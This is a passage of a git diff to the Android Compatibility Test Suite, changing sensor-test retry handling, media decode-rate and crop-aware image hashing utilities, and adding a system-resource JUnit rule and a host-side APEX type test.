-            waitForUser(R.string.snsr_wait_to_finish);
-        } else {
-            waitForUser(R.string.snsr_wait_to_retry);
-        }
+        mShouldRetry = true;
+        waitForUser(R.string.snsr_wait_to_retry);
+    }
+
+    /**
+     * Waits for the operator to acknowledge to finish execution.
+     */
+    protected void waitForUserToFinish() throws InterruptedException {
+        mShouldRetry = true;
+        waitForUser(R.string.snsr_wait_to_finish);
     }
 
     /**
@@ -559,27 +579,31 @@
         runOnUiThread(new Runnable() {
             @Override
             public void run() {
-                mNextButton.setText(getNextButtonText());
-                updateRetryButton(enabled);
                 mNextButton.setEnabled(enabled);
             }
         });
     }
 
     /**
-     * Get the text for next button.
+     * Set the text for next button by instruction message.
      * During retry, next button text is changed to notify users.
+     *
+     * @param waitMessageResId The action requested to the operator.
      */
-    private int getNextButtonText() {
-        int nextButtonText = R.string.next_button_text;
-        if (mShouldRetry) {
-            if (mIsLastSubtest){
-                nextButtonText = R.string.finish_button_text;
-            } else {
+    private void setNextButtonText(int waitMessageResId) {
+        int nextButtonText;
+        switch (waitMessageResId) {
+            case R.string.snsr_wait_to_retry:
                 nextButtonText = R.string.fail_and_next_button_text;
-            }
+                break;
+            case R.string.snsr_wait_to_finish:
+                nextButtonText = R.string.finish_button_text;
+                break;
+            default:
+                nextButtonText = R.string.next_button_text;
+                break;
         }
-        return nextButtonText;
+        mNextButton.setText(nextButtonText);
     }
 
     /**
@@ -588,16 +612,22 @@
      *
      * @param enabled The status of button.
      */
-    private void updateRetryButton(boolean enabled) {
-        String showRetryCount = String.format(
-            "%s (%d)", getResources().getText(R.string.retry_button_text), mRetryCount);
-        if (mShouldRetry) {
-            mRetryButton.setText(showRetryCount);
-            mRetryButton.setVisibility(View.VISIBLE);
-            mRetryButton.setEnabled(enabled);
-        } else {
-            mRetryButton.setVisibility(View.GONE);
-        }
+    private void updateRetryButton(final boolean enabled) {
+        runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                if (mShouldRetry) {
+                    String showRetryCount = String.format(
+                        "%s (%d)", getResources().getText(R.string.retry_button_text), mRetryCount);
+                    mRetryButton.setText(showRetryCount);
+                    mRetryButton.setVisibility(View.VISIBLE);
+                    mRetryButton.setEnabled(enabled);
+                } else {
+                    mRetryButton.setVisibility(View.GONE);
+                    mRetryCount = 0;
+                }
+            }
+        });
     }
 
     private void enableTestResultButton(
@@ -665,6 +695,7 @@
                     logTestSkip(name, summary);
                     break;
                 case PASS:
+                    mShouldRetry = false;
                     logTestPass(name, summary);
                     break;
                 case FAIL:
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/SensorCtsVerifierTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/SensorCtsVerifierTestActivity.java
index 4401536..b65b595c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/SensorCtsVerifierTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/SensorCtsVerifierTestActivity.java
@@ -40,6 +40,7 @@
     private volatile int mTestSkippedCounter;
     private volatile int mTestFailedCounter;
     private volatile ISensorTestNode mCurrentTestNode;
+    private volatile boolean mEnableRetry = false;
 
     /**
      * {@inheritDoc}
@@ -50,6 +51,20 @@
     }
 
     /**
+     * {@inheritDoc}
+     * Constructor to be used by subclasses.
+     *
+     * @param testClass   The class that contains the tests. It is dependant on test executor
+     *                    implemented by subclasses.
+     * @param enableRetry Subclass can enable retry mechanism for subtests.
+     */
+    protected SensorCtsVerifierTestActivity(
+        Class<? extends SensorCtsVerifierTestActivity> testClass, boolean enableRetry) {
+        super(testClass);
+        mEnableRetry = enableRetry;
+    }
+
+    /**
      * Executes Semi-automated Sensor tests.
      * Execution is driven by this class, and allows discovery of tests using reflection.
      */
@@ -59,22 +74,24 @@
         Iterator<Method> testMethodIt = findTestMethods().iterator();
         while (testMethodIt.hasNext()) {
             Method testMethod = testMethodIt.next();
-            mIsLastSubtest = !testMethodIt.hasNext();
-            mRetryCount = 0;
+            boolean isLastSubtest = !testMethodIt.hasNext();
             getTestLogger().logTestStart(testMethod.getName());
             SensorTestDetails testDetails = executeTest(testMethod);
             getTestLogger().logTestDetails(testDetails);
+
             // If tests enable retry and get failed result, trigger the retry process.
             while (mEnableRetry && testDetails.getResultCode().equals(ResultCode.FAIL)) {
-                mShouldRetry = true;
-                waitForUserToRetry();
-                if (!mShouldRetry) {
+                if (isLastSubtest) {
+                    waitForUserToFinish();
+                } else {
+                    waitForUserToRetry();
+                }
+                if (!getShouldRetry()) {
                     break;
                 }
                 mTestFailedCounter--;
                 testDetails = executeTest(testMethod);
                 getTestLogger().logTestDetails(testDetails);
-                mRetryCount++;
             }
         }
         return new SensorTestDetails(
@@ -151,4 +168,19 @@
             return mTestClass.getSimpleName() + "_" + mTestMethod.getName();
         }
     }
+
+    /**
+     * Show the instruction for the first time execution and wait for user to begin the test.
+     *
+     * @param descriptionResId The description for the first time execution.
+     */
+    protected void setFirstExecutionInstruction(int ... descriptionResId) throws Throwable {
+        if (!getShouldRetry()) {
+            SensorTestLogger logger = getTestLogger();
+            for (int id : descriptionResId) {
+                logger.logInstructions(id);
+            }
+            waitForUserToBegin();
+        }
+    }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceReportLog.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceReportLog.java
index c680fc3..d170263 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceReportLog.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceReportLog.java
@@ -25,8 +25,6 @@
 import java.io.IOException;
 import java.util.List;
 
-import androidx.test.InstrumentationRegistry;
-
 /**
  * Handles adding results to the report for device side tests.
  *
@@ -42,10 +40,8 @@
     private ReportLogDeviceInfoStore store;
 
     public DeviceReportLog(String reportLogName, String streamName) {
-        this(reportLogName, streamName, new File(InstrumentationRegistry
-                .getInstrumentation().getTargetContext()
-                .getExternalFilesDir(null).getPath(),
-                "report-log-files"));
+        this(reportLogName, streamName,
+                new File(Environment.getExternalStorageDirectory(), "report-log-files"));
     }
 
     public DeviceReportLog(String reportLogName, String streamName, File logDirectory) {
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaPerfUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaPerfUtils.java
index 469e99a..7e02b85 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaPerfUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaPerfUtils.java
@@ -173,4 +173,41 @@
         return "Expected " + kind + ": " + reported + ".\n"
                 + "Measured frame rate: " + Arrays.toString(measuredFps) + ".\n";
     }
+
+    /** Verifies |requestedFps| does not exceed reported achievable rates.
+     *  Returns null if *ALL* requested rates are claimed to be achievable.
+     *  Otherwise, returns a diagnostic explaining why it's not achievable.
+     *  (one of the rates was too fast, we don't have achievability information, etc).
+     *
+     *  we're looking for 90% confidence, which is documented as being:
+     *  "higher than half of the lower limit at least 90% of the time in tested configurations"
+     *
+     *  NB: we only invoke this for the SW codecs; we use performance point info for the
+     *  hardware codecs.
+     *  */
+    public static String areAchievableFrameRates(
+            String name, String mime, int w, int h, double... requestedFps) {
+        Range<Double> reported =
+            MediaUtils.getVideoCapabilities(name, mime).getAchievableFrameRatesFor(w, h);
+        String kind = "achievable frame rates for " + name + " " + mime + " " + w + "x" + h;
+        if (reported == null) {
+            return "Failed to get " + kind;
+        }
+
+        double confidence90 = reported.getLower() / 2.0;
+
+        Log.d(TAG, name + " " + mime + " " + w + "x" + h +
+                " lower " + reported.getLower() + " 90% confidence " + confidence90 +
+                " requested " + Arrays.toString(requestedFps));
+
+        // if *any* of them are too fast, we say no.
+        for (double requested : requestedFps) {
+            if (requested > confidence90) {
+                return "Expected " + kind + ": " + reported + ", 90% confidence: " + confidence90
+                       + ".\n"
+                       + "Requested frame rate: " + Arrays.toString(requestedFps) + ".\n";
+            }
+        }
+        return null;
+    }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
index 772009d..3e9e2df 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
@@ -20,6 +20,7 @@
 import android.drm.DrmConvertedStatus;
 import android.drm.DrmManagerClient;
 import android.graphics.ImageFormat;
+import android.graphics.Rect;
 import android.media.Image;
 import android.media.Image.Plane;
 import android.media.MediaCodec;
@@ -31,6 +32,7 @@
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.net.Uri;
+import android.os.Build;
 import android.util.Log;
 import android.util.Range;
 
@@ -299,11 +301,84 @@
     }
 
     public static boolean canDecode(MediaFormat format) {
-        if (sMCL.findDecoderForFormat(format) == null) {
+        return canDecode(format, 0.0);
+    }
+
+    // this is "do we claim to decode"; caller is on the hook to determine
+    // if we actually meet that claim, specifically around speed.
+    public static boolean canDecode(MediaFormat format, double rate ) {
+        String decoder = sMCL.findDecoderForFormat(format);
+
+        if (decoder == null) {
             Log.i(TAG, "no decoder for " + format);
             return false;
         }
-        return true;
+
+	if (rate == 0.0) {
+            return true;
+	}
+
+        // before Q, we always said yes once we found a decoder for the format.
+        if (ApiLevelUtil.isBefore(Build.VERSION_CODES.Q)) {
+            return true;
+	}
+
+	// we care about speed of decoding
+        Log.d(TAG, "checking for decoding " + format + " at " +
+                   rate + " fps with " + decoder);
+
+        String mime = format.getString(MediaFormat.KEY_MIME);
+        int width = format.getInteger(MediaFormat.KEY_WIDTH);
+        int height = format.getInteger(MediaFormat.KEY_HEIGHT);
+
+        MediaCodecInfo[] mciList = sMCL.getCodecInfos();
+
+        if (mciList == null) {
+            Log.d(TAG, "did not get list of MediaCodecInfo");
+            return false;
+        }
+
+        MediaCodecInfo mci = null;
+        for (MediaCodecInfo mci2 : mciList) {
+            if (mci2.getName().equals(decoder)) {
+                mci = mci2;
+                break;
+            }
+        }
+        if (mci == null) {
+            return false;
+        }
+        if (!mci.getName().equals(decoder)) {
+            Log.e(TAG, "did not find expected " + decoder);
+            return false;
+        }
+
+        if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.Q) && mci.isHardwareAccelerated()) {
+            MediaCodecInfo.VideoCapabilities caps =
+                            mci.getCapabilitiesForType(mime).getVideoCapabilities();
+            List<MediaCodecInfo.VideoCapabilities.PerformancePoint> pp =
+                            caps.getSupportedPerformancePoints();
+            VideoCapabilities.PerformancePoint target =
+                            new VideoCapabilities.PerformancePoint(width, height, (int) rate);
+            for (MediaCodecInfo.VideoCapabilities.PerformancePoint point : pp) {
+                if (point.covers(target)) {
+                    Log.i(TAG, "target " + target.toString() +
+                               " covered by point " + point.toString());
+                    return true;
+                }
+            }
+            Log.i(TAG, "NOT covered by any hardware performance point");
+            return false;
+	} else {
+            String verified = MediaPerfUtils.areAchievableFrameRates(
+                              decoder, mime, width, height, rate);
+            if (verified == null) {
+                Log.d(TAG, "claims to decode content at " + rate + " fps");
+                return true;
+            }
+            Log.d(TAG, "achieveable framerates says: " + verified);
+            return false;
+	}
     }
 
     public static boolean supports(String codecName, String mime, int w, int h) {
@@ -554,15 +629,27 @@
         return check(hasCodecForMimes(true /* encoder */, mimes), "no encoder found");
     }
 
+    // checks format, does not address actual speed of decoding
     public static boolean canDecodeVideo(String mime, int width, int height, float rate) {
+	return canDecodeVideo(mime, width, height, rate, (float)0.0);
+    }
+
+    // format + decode rate
+    public static boolean canDecodeVideo(String mime, int width, int height, float rate, float decodeRate) {
         MediaFormat format = MediaFormat.createVideoFormat(mime, width, height);
         format.setFloat(MediaFormat.KEY_FRAME_RATE, rate);
-        return canDecode(format);
+        return canDecode(format, decodeRate);
     }
 
     public static boolean canDecodeVideo(
             String mime, int width, int height, float rate,
             Integer profile, Integer level, Integer bitrate) {
+        return canDecodeVideo(mime, width, height, rate, profile, level, bitrate, (float)0.0);
+    }
+
+    public static boolean canDecodeVideo(
+            String mime, int width, int height, float rate,
+            Integer profile, Integer level, Integer bitrate, float decodeRate) {
         MediaFormat format = MediaFormat.createVideoFormat(mime, width, height);
         format.setFloat(MediaFormat.KEY_FRAME_RATE, rate);
         if (profile != null) {
@@ -574,7 +661,7 @@
         if (bitrate != null) {
             format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
         }
-        return canDecode(format);
+        return canDecode(format, decodeRate);
     }
 
     public static boolean checkEncoderForFormat(MediaFormat format) {
@@ -1168,36 +1255,46 @@
 
         MessageDigest md = MessageDigest.getInstance("MD5");
 
-        int imageWidth = image.getWidth();
-        int imageHeight = image.getHeight();
+        Rect crop = image.getCropRect();
+        int cropLeft = crop.left;
+        int cropRight = crop.right;
+        int cropTop = crop.top;
+        int cropBottom = crop.bottom;
+
+        int imageWidth = cropRight - cropLeft;
+        int imageHeight = cropBottom - cropTop;
 
         Image.Plane[] planes = image.getPlanes();
         for (int i = 0; i < planes.length; ++i) {
             ByteBuffer buf = planes[i].getBuffer();
 
-            int width, height, rowStride, pixelStride, x, y;
+            int width, height, rowStride, pixelStride, x, y, top, left;
             rowStride = planes[i].getRowStride();
             pixelStride = planes[i].getPixelStride();
             if (i == 0) {
                 width = imageWidth;
                 height = imageHeight;
+                left = cropLeft;
+                top = cropTop;
             } else {
                 width = imageWidth / 2;
                 height = imageHeight /2;
+                left = cropLeft / 2;
+                top = cropTop / 2;
             }
             // local contiguous pixel buffer
             byte[] bb = new byte[width * height];
             if (buf.hasArray()) {
                 byte b[] = buf.array();
-                int offs = buf.arrayOffset();
+                int offs = buf.arrayOffset() + left * pixelStride;
                 if (pixelStride == 1) {
                     for (y = 0; y < height; ++y) {
-                        System.arraycopy(bb, y * width, b, y * rowStride + offs, width);
+                        System.arraycopy(bb, y * width, b, (top + y) * rowStride + offs, width);
                     }
                 } else {
                     // do it pixel-by-pixel
                     for (y = 0; y < height; ++y) {
-                        int lineOffset = offs + y * rowStride;
+                        int lineOffset = offs + (top + y) * rowStride;
                         for (x = 0; x < width; ++x) {
                             bb[y * width + x] = b[lineOffset + x * pixelStride];
                         }
@@ -1207,7 +1304,7 @@
                 int pos = buf.position();
                 if (pixelStride == 1) {
                     for (y = 0; y < height; ++y) {
-                        buf.position(pos + y * rowStride);
+                        buf.position(pos + left + (top + y) * rowStride);
                         buf.get(bb, y * width, width);
                     }
                 } else {
@@ -1215,7 +1312,7 @@
                     byte[] lb = new byte[rowStride];
                     // do it pixel-by-pixel
                     for (y = 0; y < height; ++y) {
-                        buf.position(pos + y * rowStride);
+                        buf.position(pos + left * pixelStride + (top + y) * rowStride);
                         // we're only guaranteed to have pixelStride * (width - 1) + 1 bytes
                         buf.get(lb, 0, pixelStride * (width - 1) + 1);
                         for (x = 0; x < width; ++x) {
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
index 9df0bf1..728cbc6 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
@@ -98,6 +98,24 @@
     }
 
     /**
+     * Returns the version code for the package name, or null if the package can't be found.
+     * If before API Level 28, return a long version of the (otherwise deprecated) versionCode.
+     */
+    public static Long getLongVersionCode(String packageName) {
+        try {
+            PackageInfo info = getPackageManager().getPackageInfo(packageName,
+                    PackageManager.GET_META_DATA);
+            // Make no assumptions about the device's API level, and use the (now deprecated)
+            // versionCode for older devices.
+            return (ApiLevelUtil.isAtLeast(28)) ?
+                    info.getLongVersionCode() : (long) info.versionCode;
+        } catch (PackageManager.NameNotFoundException | NullPointerException e) {
+            Log.w(TAG, "Could not find version string for package " + packageName);
+            return null;
+        }
+    }
+
+    /**
      * Compute the signature SHA digest for a package.
      * @param package the name of the package for which the signature SHA digest is requested
      * @return the signature SHA digest
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredFeatureRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredFeatureRule.java
index 0ab94d6..44571d1 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredFeatureRule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredFeatureRule.java
@@ -55,6 +55,11 @@
         };
     }
 
+    @Override
+    public String toString() {
+        return "RequiredFeatureRule[" + mFeature + "]";
+    }
+
     public static boolean hasFeature(String feature) {
         return InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(feature);
     }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredServiceRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredServiceRule.java
index 96dbcd8..bbfa2db 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredServiceRule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredServiceRule.java
@@ -75,4 +75,9 @@
             return false;
         }
     }
+
+    @Override
+    public String toString() {
+        return "RequiredServiceRule[" + mService + "]";
+    }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java
new file mode 100644
index 0000000..ead59943
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.res.Resources;
+import android.text.TextUtils;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * Custom JUnit4 rule that does not run a test case if the device does not define the given system
+ * resource.
+ */
+public class RequiredSystemResourceRule implements TestRule {
+
+    private static final String TAG = "RequiredSystemResourceRule";
+
+    @NonNull private final String mName;
+    private final boolean mHasResource;
+
+    /**
+     * Creates a rule for the given system resource.
+     *
+     * @param resourceId resource per se
+     * @param name resource name used for debugging purposes
+     */
+    public RequiredSystemResourceRule(@NonNull String name) {
+        mName = name;
+        mHasResource = !TextUtils.isEmpty(getSystemResource(name));
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+
+            @Override
+            public void evaluate() throws Throwable {
+                if (!mHasResource) {
+                    Log.d(TAG, "skipping "
+                            + description.getClassName() + "#" + description.getMethodName()
+                            + " because device does not have system resource '" + mName + "'");
+                    return;
+                }
+                base.evaluate();
+            }
+        };
+    }
+
+    /**
+     * Gets the given system resource.
+     */
+    @Nullable
+    public static String getSystemResource(@NonNull String name) {
+        try {
+            final int resourceId = Resources.getSystem().getIdentifier(name, "string", "android");
+            return Resources.getSystem().getString(resourceId);
+        } catch (Exception e) {
+            Log.e(TAG, "could not get value of resource '" + name + "': ", e);
+        }
+        return null;
+    }
+
+    @Override
+    public String toString() {
+        return "RequiredSystemResourceRule[" + mName + "]";
+    }
+}
diff --git a/common/device-side/util/Android.bp b/common/device-side/util/Android.bp
index e1552b6..134b4f7 100644
--- a/common/device-side/util/Android.bp
+++ b/common/device-side/util/Android.bp
@@ -22,7 +22,6 @@
     ],
 
     static_libs: [
-        "androidx.test.rules",
         "compatibility-common-util-devicesidelib",
         "android-support-test",
         "ub-uiautomator",
@@ -37,4 +36,4 @@
     ],
 
     jarjar_rules: "protobuf-jarjar-rules.txt",
-}
+}
\ No newline at end of file
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/DeviceReportLog.java b/common/device-side/util/src/com/android/compatibility/common/util/DeviceReportLog.java
index 12c9f1a..d170263 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/DeviceReportLog.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/DeviceReportLog.java
@@ -21,8 +21,6 @@
 import android.os.Environment;
 import android.util.Log;
 
-import androidx.test.InstrumentationRegistry;
-
 import java.io.File;
 import java.io.IOException;
 import java.util.List;
@@ -42,10 +40,8 @@
     private ReportLogDeviceInfoStore store;
 
     public DeviceReportLog(String reportLogName, String streamName) {
-        this(reportLogName, streamName, new File(InstrumentationRegistry
-                .getInstrumentation().getTargetContext()
-                .getExternalFilesDir(null).getPath(),
-                "report-log-files"));
+        this(reportLogName, streamName,
+                new File(Environment.getExternalStorageDirectory(), "report-log-files"));
     }
 
     public DeviceReportLog(String reportLogName, String streamName, File logDirectory) {
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/MediaUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/MediaUtils.java
index be91308..c81f648 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/MediaUtils.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/MediaUtils.java
@@ -1161,8 +1161,8 @@
         int cropTop = crop.top;
         int cropBottom = crop.bottom;
 
-        int imageWidth = cropRight - cropLeft + 1;
-        int imageHeight = cropBottom - cropTop + 1;
+        int imageWidth = cropRight - cropLeft;
+        int imageHeight = cropBottom - cropTop;
 
         Image.Plane[] planes = image.getPlanes();
         for (int i = 0; i < planes.length; ++i) {
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java b/common/device-side/util/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java
new file mode 100644
index 0000000..ead59943
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/RequiredSystemResourceRule.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.res.Resources;
+import android.text.TextUtils;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+/**
+ * Custom JUnit4 rule that does not run a test case if the device does not define the given system
+ * resource.
+ */
+public class RequiredSystemResourceRule implements TestRule {
+
+    private static final String TAG = "RequiredSystemResourceRule";
+
+    @NonNull private final String mName;
+    private final boolean mHasResource;
+
+    /**
+     * Creates a rule for the given system resource.
+     *
+     * @param resourceId resource per se
+     * @param name resource name used for debugging purposes
+     */
+    public RequiredSystemResourceRule(@NonNull String name) {
+        mName = name;
+        mHasResource = !TextUtils.isEmpty(getSystemResource(name));
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+
+            @Override
+            public void evaluate() throws Throwable {
+                if (!mHasResource) {
+                    Log.d(TAG, "skipping "
+                            + description.getClassName() + "#" + description.getMethodName()
+                            + " because device does not have system resource '" + mName + "'");
+                    return;
+                }
+                base.evaluate();
+            }
+        };
+    }
+
+    /**
+     * Gets the given system resource.
+     */
+    @Nullable
+    public static String getSystemResource(@NonNull String name) {
+        try {
+            final int resourceId = Resources.getSystem().getIdentifier(name, "string", "android");
+            return Resources.getSystem().getString(resourceId);
+        } catch (Exception e) {
+            Log.e(TAG, "could not get value of resource '" + name + "': ", e);
+        }
+        return null;
+    }
+
+    @Override
+    public String toString() {
+        return "RequiredSystemResourceRule[" + mName + "]";
+    }
+}
diff --git a/hostsidetests/apex/Android.bp b/hostsidetests/apex/Android.bp
new file mode 100644
index 0000000..33194a1
--- /dev/null
+++ b/hostsidetests/apex/Android.bp
@@ -0,0 +1,20 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//     http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsApexTestCases",
+    srcs: ["src/**/*.java"],
+    test_suites: ["cts", "general-tests", "mts"],
+    libs: ["cts-tradefed", "tradefed"],
+}
diff --git a/hostsidetests/apex/AndroidTest.xml b/hostsidetests/apex/AndroidTest.xml
new file mode 100644
index 0000000..96aa5a5
--- /dev/null
+++ b/hostsidetests/apex/AndroidTest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Apex Test">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <test class="com.android.tradefed.testtype.HostTest" >
+        <option name="jar" value="CtsApexTestCases.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/apex/OWNERS b/hostsidetests/apex/OWNERS
new file mode 100644
index 0000000..ab2dd6e
--- /dev/null
+++ b/hostsidetests/apex/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 494373
+include platform/system/apex:/OWNERS
diff --git a/hostsidetests/apex/TEST_MAPPING b/hostsidetests/apex/TEST_MAPPING
new file mode 100644
index 0000000..601abc0
--- /dev/null
+++ b/hostsidetests/apex/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsApexTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/apex/src/android/apex/cts/ApexTest.java b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
new file mode 100644
index 0000000..5c9df98
--- /dev/null
+++ b/hostsidetests/apex/src/android/apex/cts/ApexTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.apex.cts;
+
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.util.CommandResult;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class ApexTest extends BaseHostJUnit4Test {
+  private boolean isApexUpdatable() throws Exception {
+    return Boolean.parseBoolean(getDevice().getProperty("ro.apex.updatable"));
+  }
+
+  /**
+   * Ensures that the built-in APEXes are all with flattened APEXes
+   * or non-flattend APEXes. Mixture of them is not supported and thus
+   * not allowed.
+   */
+  @Test
+  public void testApexType() throws Exception {
+    String[] builtinDirs = {
+      "/system/apex",
+      "/product/apex",
+      "/vendor/apex"
+    };
+
+    int numFlattenedApexes = 0;
+    int numNonFlattenedApexes = 0;
+    for (String dir : builtinDirs) {
+      numFlattenedApexes += countFlattenedApexes(dir);
+      numNonFlattenedApexes += countNonFlattenedApexes(dir);
+    }
+
+    Assert.assertTrue(
+        "No APEX found",
+        (numFlattenedApexes + numNonFlattenedApexes) != 0);
+
+    if (isApexUpdatable()) {
+      Assert.assertTrue(numFlattenedApexes +
+          " flattened APEX(es) found on a device supporting updatable APEX",
+          numFlattenedApexes == 0);
+    } else {
+      Assert.assertTrue(numNonFlattenedApexes +
+          " non-flattened APEX(es) found on a device not supporting updatable APEX",
+          numNonFlattenedApexes == 0);
+    }
+  }
+
+  // CTS shim APEX can be non-flattened - even when ro.apex.updatable=false.
+  // Don't count it.
+  private final static String CTS_SHIM_APEX_NAME = "com.android.apex.cts.shim";
+
+  private int countFlattenedApexes(String dir) throws Exception {
+    CommandResult result = getDevice().executeShellV2Command(
+        "find " + dir + " -type f -name \"apex_manifest.json\" ! -path \"*" +
+        CTS_SHIM_APEX_NAME + "*\" | wc -l");
+    return result.getExitCode() == 0 ? Integer.parseInt(result.getStdout().trim()) : 0;
+  }
+
+  private int countNonFlattenedApexes(String dir) throws Exception {
+    CommandResult result = getDevice().executeShellV2Command(
+        "find " + dir + " -type f -name \"*.apex\" ! -name \"" +
+        CTS_SHIM_APEX_NAME + ".apex\" | wc -l");
+    return result.getExitCode() == 0 ? Integer.parseInt(result.getStdout().trim()) : 0;
+  }
+
+  /**
